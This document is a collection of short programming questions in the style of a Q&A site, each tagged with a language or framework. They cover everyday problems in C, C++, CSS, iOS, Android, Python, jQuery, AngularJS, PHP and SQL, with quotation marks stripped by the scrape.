return specific variable based on name of variable in c++   is it possible  given a parameter in the input of a function  to return the variable with that specific name     for instance  if you had the following code:   <pre><code>string returnsparameter(string parameter) {     string a =  test ;     string b =  test 2 ;     string c =  test 3 ;      return parameter; } </code></pre>   and you ran <code>returnsparameter( a )</code>  is there some sort of way to return  test   i tried using pointers and reference variables  but you can t make a non-constant reference.    is there a way to do this without using maps,c++
footbar is not at completely at the bottom  but only on homepage  <img src= https://i.stack.imgur.com/v7ahk.png  alt= enter image description here >    as you can see from the picture  the footer is just slightly elevated from the bottom of the screen  but this only appears on the home page. every other page in the site the footer appears to be completely on the bottom. what can be the issue here    <pre><code>.footbar {     background-color: #181818;     height: 50px;     width: 100%;     position: absolute;     overflow: hidden; } </code></pre>   simply html (in haml)   <pre><code>%body     ....     .footer </code></pre>,css
when modelling my app can i reuse nsmanagedobject subclass   i think this is a common scenario.  i m defining class models of my app  i will use core data for caching so i would like to take advantage of the nsmanagedobject generated subclass to  reuse  it as a model to pass to different classes. is that advisable  let s say i get some data from the network i want to build an object model with same instance variables as the core data model generated  use it when needed and maybe cache it on the db. what is the common approach there  can i use a category on core data model  core data subclass  encapsulation  new class   thanks for any tips on that.,ios
displaying image with standalone python library  this has to be possible  as modules like opencv2 are written in python themselves.    so i have a picture  1.png   i know png has the following header in hexadecimal:    <pre><code>b\x89png\r\n\x1a\n\x00\x00\x00\rihdr\x00\x00\x03\xe8\x00\x00\x02x\x08\x06\x00\x00\x00\xf1\x1e\xcc%\x00\x00\x00\x01srgb\x00\xae\xce\x1c\xe9\x00 </code></pre>   so  how can i display the picture if i have the data because of the command    <pre><code>open( filename   rb ).read() </code></pre>   the solution can work in either 2.7 or 3.x,python
c program stack <pre><code>#include&lt;stdio.h&gt;  int* foo() {   int a = 5;   return &amp;a; }  void bar() {   int a = 7; }  void foobar() {     int a = 97; }  int main() {     int* p = foo();     bar();     foobar();     printf( %d   *p);      return 0; } </code></pre>   i can t understand the concept behind this behaviour. why is the output always the value of local variable a in foobar function,c
deny activity access on user login  i would like to deny access to an activity  say the user profile edit activity  if the user has not yet logged in with a rest request to the server.    for now  after the user has successfully logged in he is stored locally on the phone preferences.   <pre><code>protected void onpostexecute(responseentity&lt;user&gt; responseentity) {     httpheaders headers = responseentity.getheaders();     if (null != headers) {         list&lt;string&gt; values = headers.get(constants.logged_in_user_auth_token);         if (null != values &amp;&amp; values.size() &gt; 0) {             string token = values.get(0);             if (null != token) {                 loginactivity.storeuser(responseentity.getbody()  token);             }         }     } }  public void storeuser(user user  string token) {     if (null != user) {         sharedpreferences settings = preferencemanager.getdefaultsharedpreferences(getapplicationcontext());         sharedpreferences.editor editor = settings.edit();         editor.putstring(constants.logged_in_user_email  user.getemail());         editor.putstring(constants.logged_in_user_jwt  token);         editor.apply();         intent intent = new intent(getapplicationcontext()  userprofileactivity.class);         startactivity(intent);     } } </code></pre>   i wonder how to deny access to the profile edit activity.    here is how i retrieve the stored email address from the preferences:   <pre><code>private boolean getprofile() {     sharedpreferences settings = preferencemanager.getdefaultsharedpreferences(getapplicationcontext());     string email = settings.getstring(constants.logged_in_user_email  null);     string token = settings.getstring(constants.logged_in_user_jwt  null);     new userprofileasynctask(this  email  token).execute();     return false; } </code></pre>   any hints on strategy to adopt are welcome.,android
strange issue with @font-face query  am using the following code to display h1 items in a special font.   <pre><code>@font-face { font-family:  serif-semi-bold ; src: url( http://www.jaguarseascouts.org.uk/wp-content/themes/molesey/fonts/theserifsemibold-plain.ttf ); /* ie9 compat modes */  } </code></pre>   displays fine in ie  firefox etc but looks very grainy and poor in chrome.    why would this be     many thanks,css
how to set image title for uiview for capspagemenu in objective c  i am new in ios and creating an app. i used capspagemenu for page menu.menu is working fine but i want to change title as a image. i searched a lot but all are negative.    <pre><code>plustypeviewcontroller *controller1 = [[plustypeviewcontroller alloc]initwithnibname:@ plustableview  bundle:nil]; controller1.title = @ plusr ; capsulesviewcontroller *controller2 = [[capsulesviewcontroller alloc]initwithnibname:@ capsulesview  bundle:nil]; controller2.title = @ substituter ; tabletsviewcontroller *controller3 = [[tabletsviewcontroller alloc] initwithnibname:@ tablets  bundle:nil]; controller3.title = @ suppliers ; injectionviewcontroller *controller4 = [[injectionviewcontroller alloc] initwithnibname:@ injection  bundle:nil]; controller4.title = @ injection ; shasheviewcontroller *controller5 = [[shasheviewcontroller alloc] initwithnibname:@ shesha  bundle:nil]; controller5.title = @ shashe ;   nsarray *controllerarray2 = @[controller1  controller2 controller3 controller4 controller5]; nsdictionary *parameterss = @{                               capspagemenuoptionscrollmenubackgroundcolor: [uicolor colorwithred:255.0/255.0 green:255.0/255.0 blue:255.0/255.0 alpha:1.0]                                //capspagemenuoptionviewbackgroundcolor: [uicolor colorwithred:19.0/255.0 green:112.0/255.0 blue:103.0/255.0 alpha:1.0]                                //capspagemenuoptionselectionindicatorcolor: [uicolor greencolor]                                 capspagemenuoptionselectionindicatorcolor:[uicolor colorwithred:19.0/255.0 green:112.0/255.0 blue:103.0/255.0 alpha:1.0]                                capspagemenuoptionunselectedmenuitemlabelcolor:[uicolor colorwithred:19.0/255.0 green:112.0/255.0 blue:103.0/255.0 alpha:1.0]                                //capspagemenuoptionselectionindicatorcolor:[uicolor greencolor]                                capspagemenuoptionselectedmenuitemlabelcolor :[uicolor blackcolor]                                 //capspagemenuoptionbottommenuhairlinecolor: [uicolor colorwithred:19.0/255.0 green:112.0/255.0 blue:103.0/255.0 alpha:1.0]                                //capspagemenuoptionbottommenuhairlinecolor: [uicolor blackcolor]                                 capspagemenuoptionmenuitemfont: [uifont fontwithname:@ helveticaneue  size:13.0]                                capspagemenuoptionmenuheight: @(30.0)                                capspagemenuoptionmenuitemwidth: @(90.0)                                //capspagemenuoptioncentermenuitems: @(yes)                               };  _secondpagemenu = [[capspagemenu alloc] initwithviewcontrollers:controllerarray2 frame:cgrectmake(0.0  0.0  self.view.frame.size.width  self.view.frame.size.height) options:parameterss];   [self.view addsubview:_secondpagemenu.view]; </code></pre>   <a href= https://i.stack.imgur.com/docwy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/docwy.png  alt= enter image description here ></a>    plusr is a demo title  i want to change it in image. thanks in advance.,ios
ignoring past css  i want to have some images within a css container yet for them not to take the formatting of the container. the effect i m looking for is a background of one image and then these other images on top of it.    the big problem is for my main container i have    <pre><code>    border-radius:50px; </code></pre>   to create a nice rounded background image. i don t want my inside images to be round however.    i try   <pre><code>div.innerimage img{      border-radius: 0px; } </code></pre>   to do away with this however they stay round. how do i stop this previous formatting being inherited,css
iphone picture gallery source code  hi all  can anyone please refer me  the iphone image gallery source code  any link  sample code will be great help.    i  am trying to show some  70 to 100 images as thumbnails   and on selecting any image  it should give a full view of that image i am trying to accomplish  whatever is in iphone s picture gallery  i thought  there must any sample code available.   suggestions are always appreciated    regards,iphone
where is the proper place to put a file in a rails 2.3.8 project such that it extends the object class  and doesn t mess up migrations   so  i ve extended object to include these methods:   <pre><code>table_name controller_name name_singular id_sym name_as_symbol human_name human_name_singular </code></pre>   now  initially  i had this in config/initializers. but that prevented me from running migrations (some weird naming issue  where instead of migrating to :table  it would migrate to :table.class.name.tabelize (which is what table_name does))    so... where do i put this file in my project,ruby-on-rails
errors (method must have a return type)&&(  is a  field  but is used like a  type )  i want to make  live feed from the computer’s default camera show in my (imagebox) that name imgcamuser; but i see many errors   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms; using emgu.util; using emgu.cv.ui; using emgu.cv; namespace mmmmmm {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }         private void picturebox1_click(object sender  eventargs e)         {             private capture capture;  capture = new capture(); imgcamuser.image = capture.queryframe();         }     } } </code></pre>   but  i have these errors <img src= https://i.stack.imgur.com/f9iwv.png  alt= this error >    <img src= https://i.stack.imgur.com/qpdsv.png  alt= this list of errors >,c#
undefined index. server error or coding problem   i tried to do some practise about form actions and inputs and copy-paste a piece of codes but i got  undefined index: fname and undefined index: age. the codes were taken from very popular php tutorial website  there should not be any problem with them but submitting them anyway.is this server error or something like that    <pre><code>          &lt;form action= posting.php  method= post &gt;           name: &lt;input type= text  name= fname  /&gt;           age: &lt;input type= text  name= age  /&gt;           &lt;input type= submit  /&gt;           &lt;/form&gt;           &lt; php            echo $_post[ fname ];           echo $_post[ age ];             &gt; </code></pre>,php
cin is not accepting input - waits infinitely for user to enter something  <a href= https://i.stack.imgur.com/rlss1.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rlss1.png  alt= see the cursor in console window. i have pressed enter so many times. it just goes  ></a>i have small c++ program which performs few functions based on input provided by user from a display list. it displays a list of functions that this program will execute (right now there is only 1 function just for showing). user enters an integer denoting the function number in the display list. accordingly proceed. i am facing problem with user entering an integer. it just does not proceed even after entering integer and pressing enter key; and waits infinitely. nothing happens after entering some integer for  select your choice:   and pressing enter. it just goes on to next line waiting for some input.   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;  using namespace std;  static void reversestring(string &amp;str); static void swap(string &amp;str  int i  int j);  int main() {     int choice;     do {         cout &lt;&lt;  1) print k lines from file  &lt;&lt; endl;         cout &lt;&lt;  11) exit  &lt;&lt; endl &lt;&lt; endl;         cout &lt;&lt;  select your choice:  ; // program infinitely waits here for user.         cin &gt;&gt; choice;          if(choice == 1) {             string word;             cout &lt;&lt;  enter a word:  ;             cin &gt;&gt; word;             cout &lt;&lt; endl &lt;&lt;  you entered    &lt;&lt; word &lt;&lt;   .  &lt;&lt; endl;             reversestring(word);             cout &lt;&lt; endl &lt;&lt;  your reversed string is    &lt;&lt; word &lt;&lt;   .  &lt;&lt; endl;         }     } while(choice != 11);     return 0; }  static void reversestring(string &amp;str) {     int i = 0  j = 0;     while(str[j] !=  \0 ) j++;     j--;     while(j &gt; i) {         swap(str  i  j);         i++;         j--;     } }  static void swap(string &amp;str  int i  int j) {     char temp = str[i];     str[i] = str[j];     str[j] = temp; } </code></pre>   please help me. i cannot find the cause. i tried cin.clear() and cin.ignore() but nothing helped.,c++
including css in masterpages  i am new to the domain. i want to include a css file in my master pages but it is not working can anyone try to help me out of this problem..    i give the link to the css externally as   <pre><code>&lt;link href= stylesheet1.css  rel= stylesheet1  type= text/css  /&gt; </code></pre>   is there any necessity to include css classes in master page if so how and where i have to include,asp.net
angularjs select doesn t find value  i ve got this simple select in my view :   <pre><code>&lt;select ng-model= test  class= form-control  required&gt;     &lt;option value=  &gt;choisir&lt;/option&gt;     &lt;option ng-repeat= cm in commercials|orderby: cm.commentaire   value= {{cm.id_client}} &gt;{{::cm.commentaire}} {{::cm.id_client}}&lt;/option&gt; </code></pre>       i  ve got this in my controler :   <pre><code>$scope.test=150; </code></pre>   now   the html select is supposed to select the cm.id_client who s got the value equal to 150  but iot doesn t work.    the select shows correctly {{::cm.commentaire}} {{::cm.id_client}} but is not initilised with the 150    in my memory  it was working before in  other cases. this is a sample of my select  showing the name and the most important {{::cm.id_client}}.     <a href= https://i.stack.imgur.com/1zvwv.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1zvwv.jpg  alt= enter image description here ></a>    you can see that  there is a 150 in the list    i ve also tryed to add track by cm.id_client  but still no luck,angularjs
cannot map property in mapper  i have created a propertymapper which maps property from source to destination.   <pre><code>public static void propertymap&lt;t  u&gt;(t source  u destination)     where t : class  new()     where u : class  new() {     list&lt;propertyinfo&gt; sourceproperties = source.gettype().getproperties().tolist&lt;propertyinfo&gt;();     list&lt;propertyinfo&gt; destinationproperties = destination.gettype().getproperties().tolist&lt;propertyinfo&gt;();      foreach (propertyinfo sourceproperty in sourceproperties)     {         propertyinfo destinationproperty = destinationproperties.find(item =&gt; item.name == sourceproperty.name);          if (destinationproperty != null)         {             try             {                 destinationproperty.setvalue(destination  sourceproperty.getvalue(source  null)  null);                             }             catch (argumentexception)             {              }         }     } } </code></pre>   if i pass in a source object which contains <code>{int string customobject}</code> i am able to map <code>{int and string }</code> but not my  customobject . when looping through the source properties when the counter reaches to <code>customobject</code> datatype i get an exception.what i need to do is put it in recursion and map those properties again.so i guess i am missing a filter check .,c#
how do i get data into an iphone application from a url using the uiwebview   i have an application that i am working on that uses uiwebview.  i m not much of a web wonk so i am not familiar with what is probably a trivial task- how do i pass data back to my application when i load a web site   the site is on a server that passes a google map to the application but i also need some additional information passed along with it. i would think this is simple. where do i start to accomplish this,iphone
link a button to an email-adress   i have a button (styled with css). the html lloks like this:    <pre><code>&lt;div class= button &gt;kontakt&lt;/div&gt;  </code></pre>   now i want that the button links to an email-adress. the following solution did not work. it shows the email-adress (email@email.de) as text in the button.   <pre><code>&lt;div class= button &gt;&lt;a href= mailto:email@email.de &gt;kontakt&lt;/a&gt;&lt;/div&gt;  </code></pre>   and the solution with the div container an the inner html elemnt also does not work:   <pre><code>&lt;a href= mailto:email@email.de &gt;&lt;div class= button &gt;kontakt&lt;/div&gt;&lt;/a&gt; </code></pre>   any ideas how i can show the word  kontakt  as text on the button which links to an email-adress     i look forward to hear from you.,html
naming convention for interface / class / mockclass in java   i m creating a mock class for a <code>lexer</code> object  and i think i may need to do some refactoring. i have two options:   <ol> <li>create an interface <code>lexer</code>  and rename the current <code>lexer</code> to something like <code>reallexer</code>. have <code>mocklexer</code> implement <code>lexer</code>  and method calls take anything of type <code>lexer</code>. i dislike that my precious <code>lexer</code> class is now renamed to something that has no meaning if you don t know that there s a mock class.</li> <li>create an interface <code>lexerinterface</code> (which i already dislike  since it has <code>interface</code> in its name)  but allowing myself to keep the current <code>lexer</code> the way it is. <code>mocklexer</code> then implements <code>lexerinterface</code>. another downside is that method calls take <code>lexerinterface</code> as params.</li> </ol>   both options smell bad to me  so i figured i d let standards decide for me. has anyone had experience with this,java
what is the hash tag used for in javascript   i m not talking about in the url. i know what that does. i m talking about how it s used in actual code.    after trying to assign it as a variable  i realized that it s reserved  but i don t know what for.,javascript
how do i get the element of a specific input value   i have the element <code>.tousers</code>  which  is an input text field with the value <code>car</code>.     <pre><code>if($( #compose-child-container-1 ).find( .tousers ).val()== car ) {                                      } </code></pre>   i want to <code>addclass</code> to that <code>.tousers</code> element but how do i select it,jquery
how log my score best out of three and use different symbols for the players  python  i m making a 2-play battleship game in python and have been struggling with this for a while now:    i apologise if the question is poorly worded but i was to know how i can make my game log the match score at the end of the three games with something like:   <pre><code>print( match score is  + score +  player  + (whoever) +  wins!) </code></pre>   i m not entirely sure how to implement this myself i have a range <code>for games in range(3)</code>  but i don t know how to log the final score.    also  how can i change the symbol for player_two so that i am not using an  x  for both players  i ve tried changing the <code>input_check()</code> but i get more errors than i did before.   <pre><code>from random import randint  game_board = [] player_one = {      name :  player 1        wins : 0       lose : 0 } player_two = {      name :  player 2        wins : 0       lose : 0 }   # building our 5 x 5 board def build_game_board(board):     for item in range(5):         board.append([ o ] * 5)  def show_board(board):     print( find and sink the ship! )     for row in board:         print(   .join(row))  # defining ships locations def load_game(board):     print( welcome to battleship! )     print( start )     del board[:]     build_game_board(board)     show_board(board)     ship_col = randint(1  len(board))     ship_row = randint(1  len(board[0]))     return {          ship_col : ship_col           ship_row : ship_row      }  ship_points = load_game(game_board)   # players will alternate turns. def player_turns(total_turns):      if total_turns % 2 == 0:         total_turns += 1         return player_one      else:         return player_two  # allows new game to start def play_again():     global ship_points     answer = input( would you like to play again   )     if answer ==  yes  or answer ==  y :         ship_points = load_game(game_board)      else:         print( thanks for playing! )         exit()  # what will be done with players guesses def input_check(ship_row  ship_col  player  board):     guess_col = 0     guess_row = 0     while true:         try:             guess_row = int(input( guess row: )) - 1             guess_col = int(input( guess col: )) - 1         except valueerror:             print( enter a number only:  )             continue         else:             break     match = guess_row == ship_row - 1 and guess_col == ship_col - 1     not_on_game_board = (guess_row &lt; 0 or guess_row &gt; 4) or (guess_col &lt; 0 or guess_col &gt; 4)      if match:         player[ wins ] += 1         print( congratulations! you sunk my battleship! )         print( thanks for playing! )         play_again()      elif not match:         if not_on_game_board:             print( oops  that s not even in the ocean. )          elif board[guess_row][guess_col] ==  x :             print( you guessed that one already. )          else:             print( you missed my battleship! )             board[guess_row][guess_col] =  x          show_board(game_board)      else:         return 0   def main():     begin = input( type \ start\  to begin:  )     while (begin != str( start )):         begin = input( type \ start\  to begin:  )      for games in range(3):         for turns in range(6):              if player_turns(turns) == player_one:                 # print(ship_points)                 print( player one )                 input_check(                     ship_points[ ship_row ]                      ship_points[ ship_col ]                      player_one  game_board                 )              elif player_turns(turns) == player_two:                 print( player two )                 input_check(                     ship_points[ ship_row ]                      ship_points[ ship_col ]                      player_two  game_board                 )          if turns == 5:             print( the game is a draw )             play_again()  if __name__ ==  __main__ :     main() </code></pre>,python
where to put common uialertview code  i have a password uialertview that we ask the user for.  i need to ask it on different views depending on the scenario  from a downloadviewcontroller (after the user downloads their data)  when they switch to their data (if the user has multiple accounts  there s a password per account)  and when the app awakes from sleep (from the app delegate).    i have common uialertview code that basically checks the database for their password and stuff.  is there a good place to put this common code   i feel like i m copying and pasting the showing of the alert and the delegate methods for this alert.  in certain view controllers  there will be other alerts as well though  and i have to respond to those through the uialertviewdelegate in that specific viewcontroller.,iphone
uialertview insert image  i am trying to add an image in a uialertview in this way:   <pre><code>uialertview *alertview = [[uialertview alloc]                           initwithtitle:@ accept connection                             message:[nsstring stringwithformat:@ %@ wants to connect with you   newstr]                           delegate:self                           cancelbuttontitle:@ no                            otherbuttontitles:@ yes   nil]; uiimageview *imageview = [[uiimageview alloc] initwithframe:cgrectmake(10  100  100  50)]; nsstring *imgpath = [[nsstring alloc] initwithstring:[[[nsbundle mainbundle] resourcepath] stringbyappendingpathcomponent:@ bluetoothdeviceiphone.png ]]; uiimage *yourimage = [[uiimage alloc] initwithcontentsoffile:imgpath]; [imageview setimage:yourimage]; [alertview addsubview:imageview]; [alertview show]; alertview.tag = 2; </code></pre>   the image is not showing though  neither a space is showing  just the text. why,ios
mysql case when statement  how do i strip results with null (or zero) results when using group by and case when logic     a hypothetical example is:   <pre><code>select city      sum(case when name2015 =  jane  then income2015 end) income2015_total     sum(case when name2020 =  jane  then income2020 end) income2020_total from finaldata group by city   </code></pre>   with a database of all people. this will return 3 columns  city  total income of all janes for 2015  and total income for all janes for 2020. however  it will return a row for all cities even if they have no janes. these cities will have null results in the last 2 columns. how do i strip these out in the query so i only get rows for cities that contain at least 1 jane,mysql
get element and attribute with filename for xml from java  i have 10 xml files in some folders like below  i want to process all files and get file name with element and attribute name:      <pre><code>   abc.xml        &lt;bank xsi:schemalocation= roll.xsd        xmlns:xsi= http://www.w3.org/2001/xmlschema-instance /&gt;     sss.xml        &lt;bank xsi:schemalocation= cust.xsd        xmlns:xsi= http://www.w3.org/2001/xmlschema-instance /&gt; </code></pre>   i want to extract file name  element name with attribute value  like:   <pre><code>     abc.xml bank roll.xsd      sss.xml bank cust.xsd </code></pre>   i have written code but my code is not working for all file and not getting attribute value also:   <pre><code>import javax.xml.parsers.documentbuilderfactory; import javax.xml.parsers.documentbuilder; import org.w3c.dom.document; import org.w3c.dom.nodelist; import org.w3c.dom.node; import org.w3c.dom.element; import java.io.file;  public class aaaaa { public static void main(string[] args) {     try {      file fxmlfile = new file( /users/rtyu/*.xml );     documentbuilderfactory dbfactory = documentbuilderfactory.newinstance();     documentbuilder dbuilder = dbfactory.newdocumentbuilder();     document doc = dbuilder.parse(fxmlfile);     doc.getdocumentelement().normalize();     system.out.println( root element :  + doc.getdocumentelement().getnodename());     nodelist nlist = doc.getelementsbytagname( bank );     system.out.println( ---------------------------- );     for (int temp = 0; temp &lt; nlist.getlength(); temp++) {         node nnode = nlist.item(temp);                   system.out.println( \ncurrent element :  + nnode.getnodename());         if (nnode.getnodetype() == node.element_node) {             element eelement = (element) nnode;             system.out.println( attribute value :   + eelement.getattribute( xsi ));         }     }     } catch (exception e) {     e.printstacktrace();     }   }  } </code></pre>,java
how to check if all async operations have finished using angularjs   lets say i got three different functions that make $http calls. the three functions are called one after the other.     is there any way to know when all of them have finished,angularjs
fabric answers - successful installed  but isn t visible in the dashboard  fabric answers had been installed  but isn t visible in the dashboard.how can i find the answers     <a href= https://i.stack.imgur.com/zmj0t.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zmj0t.jpg  alt= enter image description here ></a>,ios
angular - trigger unsavedchanges directive when user clicks on a non-submit button  how do i trigger the angular-unsavedchanges directive to check to see if a form is dirty when a user clicks on a button in a form that is not a submit button   i want a message to pop-up if the user clicks on a button that would navigate them to a different page  if changes have been made to the current form.  it seems to work on a refresh and a link to a different page  but not a button that will be loading a different template.  tia.,angularjs
$.isnumeric not doing anything  it seems that <code>isnumeric</code> won t work with this type of code  i might be writing something wrongly. could anyone assist me and explain me what am i doing wrong    <pre><code>$( form.offer_post ).submit(function(e) {     var name = $( #project_info ).val().trim()          price = $.trim($( #offer_price ).val().trim());      if (price.length&lt;1) {          if(!$.isnumeric($( #offer_price ).val())) {             alert( offer must be numeric! );              e.preventdefault();             return false;         }         alert( please enter the project price );          e.preventdefault();         return false;     }      if (name.length&lt;1) {          alert( please enter some description for your offer );          e.preventdefault();         return false;     }   }); </code></pre>   everything besides numeric check works perfectly.,jquery
how to pass a const char* pointer to fts_open()  how does one pass a const char *path to fts_open  i would like to pass a filepath.,c
how to run php jobs regularly in my amazon ec2 server   i have a amazon ec2 server.<br> and i would like to run php jobs every 1 hours to get the latest information from websites and insert them into database.<br> but i am not good at server.<br> any suggestions,php
python .replace() error  in python  i open a text file and read it line-by-line  and strip() the line before evaluating it. when i evaluate the line  i have an if statement to check if the line is  random   and then puts a random number into a variable called genrandom. i have another line in my code that looks like this:   <pre>thisline.replace( genrandom  genrandom) #replace genrandom with the random number</pre>   on every line  it seems to work ok. in the input text file  i have a line that looks like this:   <pre>-genrandom</pre>   whenever my script evaluates that line  i get this error:   <pre><code>traceback (most recent call last):   file  d:\mass storage\pythonscripts\turnbyturn\execute.py   line 37  in &lt;module&gt;     thisline.replace( genrandom  genrandom) #replace genrandom with the random number typeerror: expected a character buffer object </code></pre>   how can i fix this  thanks in advance!,python
jquery modal dialog html not updating  after clicking a button in my modal jquery dialog  i want to update the html in the dialog to show text and an image indicating that work is in progress (spinner  etc.). when i do in the example below  the html doesn t update. it s as if that code never executes  or executes too late so the change isn t visible. however if i uncomment the alert( hey ); code  it does. what are good ways to achieve what i m after    <pre><code>$dialog.dialog(  option    title    do lengthy work  ); $dialog.dialog(  option    buttons   {       cancel : function() { $(this).dialog( close ); }       start work : function() {          $(this).html( working...&lt;p/&gt;&lt;img src= http://mydomain.com/progress.gif  );         //alert( hey );         dolengthyworkfunction();         $(this).dialog( close );     } } ); $dialog.html( click the start work button to begin. ); $dialog.dialog( open ); </code></pre>,jquery
simple fragment not displaying   i have a simple fragment:   <pre><code>public class inputfragment extends fragment{      public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestate){         return inflater.inflate(r.layout.input_fragment  container  false);     }  } </code></pre>   defined in xml like this:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical      android:gravity= center &gt;      &lt;edittext         android:id= @+id/ttsinput          android:layout_width= 228dp          android:layout_height= wrap_content          android:ems= 10  &gt;         &lt;requestfocus /&gt;     &lt;/edittext&gt;      &lt;button         android:layout_width= 80dp          android:layout_height= wrap_content          android:text= go  /&gt;  &lt;/linearlayout&gt; </code></pre>   i am adding it to my main activity:   <pre><code>package com.example.texttospeechapp;  import android.os.bundle; import android.app.activity; import android.view.menu;  public class mainactivity extends fragmentactivity {      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          if(findviewbyid(r.id.fragment_container) != null){             inputfragment inputfrag = new inputfragment();             inputfrag.setarguments(getintent().getextras());             getfragmentmanager().begintransaction().add(r.id.fragment_container  inputfrag);         }     }      @override     public boolean oncreateoptionsmenu(menu menu) {         // inflate the menu; this adds items to the action bar if it is present.         getmenuinflater().inflate(r.menu.main  menu);         return true;     }  } </code></pre>   here is the xml for main activity:   <pre><code>&lt;framelayout xmlns:android= http://schemas.android.com/apk/res/android      android:id= @+id/fragment_container      android:layout_width= match_parent      android:layout_height= match_parent  /&gt; </code></pre>   behavior:   <ol> <li>the activity loads w/o crashing  but the fragment ui isn t displayed.</li> </ol>   i m just getting into fragments. i m not sure why this isn t working (i just followed the tutorial @ <a href= http://developer.android.com/training/basics/fragments/fragment-ui.html  rel= nofollow >http://developer.android.com/training/basics/fragments/fragment-ui.html</a>),android
updating a sub-class of single table inheritance  i have a single table inheritance where the parent is <code>template</code> and the children are <code>loginone</code>  <code>logintwo</code>  <code>loginthree</code>    though  these three share sub-classes can all be updated through the same form and action. when declaring strong params i m using <code>params.require(:template)</code> in the hope that this would cover all of the sub-classes  however it returns a <code>param is missing or the value is empty: template</code> error and it only works when i alter the strong params to be <code>params.require(:login_one)</code>    is there any way i can get this to work without cluttering my actions with case statements,ruby-on-rails
is there a difference between an  instance variable  and a  property  in objective-c   is there a difference between an  instance variable  and a  property  in objective-c     i m not very sure about this. i think that an  property  is an instance variable that has accessor methods  but i might think wrong.,objective-c
ie browser automatically changed while page redirection  i have done my project in asp.net with using webmethod concepts. i deployed it in live server. clients are using windows 8 with ie 11/9. when users used my projects then ie version are changed to ie7. webmethod and json does not support ie 7/8. but when this page open then its automatically ie version changed and display  json object  error. i tried to changed ie default version 9.but its automatically changed ie 7/8. how to change ie default version 9. what is the solution for my problem,asp.net
i am not getting the below header files in c language <pre><code>    #include &lt;stdlib.h&gt;     #include &lt;errno.h&gt;     #include &lt;string.h&gt;     #include &lt;sys/types.h&gt;     #include &lt;netinet/in.h&gt;     #include &lt;sys/wait.h&gt;     #include &lt;sys/socket.h&gt; //unable to find all of this header files     #include &lt;signal.h&gt;     #include &lt;ctype.h&gt;               #include &lt;arpa/inet.h&gt;     #include &lt;netdb.h&gt; </code></pre>   i want to use this header files ion my program and i cannot find it on the internet please provide a source from which i could get them,c
c programming opening directories within directories <pre><code>#include &lt;dirent.h&gt;  #include &lt;stdio.h&gt;  #include &lt;sys/types.h&gt; #include &lt;sys/stat.h&gt; #include &lt;unistd.h&gt;  int program(char* file) {   dir *d;   struct dirent *dir;   d = opendir(file);   if (d) {      while ((dir = readdir(d)) != null) {        if(dir-&gt;d_type == dt_dir) {          if(opendir(dir-&gt;d_name)!=null) {           printf( open successful!   );          }          printf( is a dir!  );        }         printf( %s\n   dir-&gt;d_name);      }       closedir(d);   }   return(0);  } </code></pre>   lets say i access a directory in a c program like this and i find that one of its entries is also a directory  how do i open this directory entry  i don t think my code is doing it correctly,c
how can i set an image as a background of asp.net page   i simply want to set an image as a background of asp.net page  i can display image in simple format on web page  but can t apply it as background.,asp.net
both of the radio buttons can be selected  i have form with 2 radio buttons but both of the radio buttons can be selected     <pre><code>     &lt;form class= descriptions  id= collection   method= post  action=  &gt;                           &lt;table width= 200 &gt;                               &lt;tr&gt;                                 &lt;td&gt;                                   &lt;label&gt;collection&lt;/label&gt;                                   &lt;input type= radio  value= collection  /&gt;                                 &lt;/td&gt;                                 &lt;td&gt;                                   &lt;label&gt;delivery&lt;/label&gt;                                   &lt;input type= radio  value= delivery     /&gt;                                 &lt;/td&gt;                               &lt;/tr&gt;                          &lt;/table&gt;                  &lt;/form&gt; </code></pre>   i know this is very easy but i can t seem to find the answer   any help would be appreciated.,html
update service parameter with data from another service  i have this service:   <pre><code> footballdataapi.getteam = function(id) {         $http.defaults.headers.common[ x-auth-token ] =  613a6b6937394ae8a94d69f358f76902 ;         return $http.get( http://www.football-data.org/alpha/soccerseasons/398/fixtures matchday=5 callback=json_callback );     }; </code></pre>   however i d like to update the parameter of matchday when data is updated on another service specifically here  ie grab the matchday of within this json callback and use it in that other service automatically. not sure how to go about it  any ideas     <strong>service</strong>   <pre><code>footballdataapi.getteams = function() {             $http.defaults.headers.common[ x-auth-token ] =  613a6b6937394ae8a94d69f358f76902 ;             return $http.get( http://www.football-data.org/alpha/soccerseasons/398/leaguetable callback=json_callback );         }; </code></pre>   <strong>controller</strong>   <pre><code>  .controller( teamscontroller   function($scope    footballdataapiservice) {     $scope.teamslist = [];   }); </code></pre>   <strong>html</strong>   <pre><code>&lt;h2 class= secondary-title &gt;matchday {{teamslist.matchday}}&lt;/h2&gt; </code></pre>,angularjs
nsdictionary objectforkey is returning nil value  i have a dictionary like this   <pre><code>123456 {     aaa      aaav  } </code></pre>   but when i try to get these values in <code>nsarray</code> using <code>objectforkey</code>  i am getting <code>nil</code>.    the key i am using is a string.     code :   <pre><code>nsarray *arr = [userdetails objectforkey:str] </code></pre>   where userdetails is an <code>nsdictionary</code> and str is <code>nsstring</code> which contains the key.,objective-c
insert into database doesn t work for css-like string  i have the following problem: i want to insert something in the sql database  but i get a syntax error. this is the code:    <code>mysql_query( insert into wp_postmeta (meta_key  post_id  meta_value) values ( _product_attributes   $postid   a:1:{s:7: pa_maat ;a:6:{s:4: name ;s:7: pa_maat ;s:5: value ;s:0:  ;s:8: position ;s:1: 5 ;s:10: is_visible ;i:0;s:12: is_variation ;i:1;s:11: is_taxonomy ;i:1;}} ) );</code>    i know it has something to do with the meta_value entry  but i dont know how to put it in.    thanks in advance    edit: this is the error message:    parse error: syntax error  unexpected t_string,sql
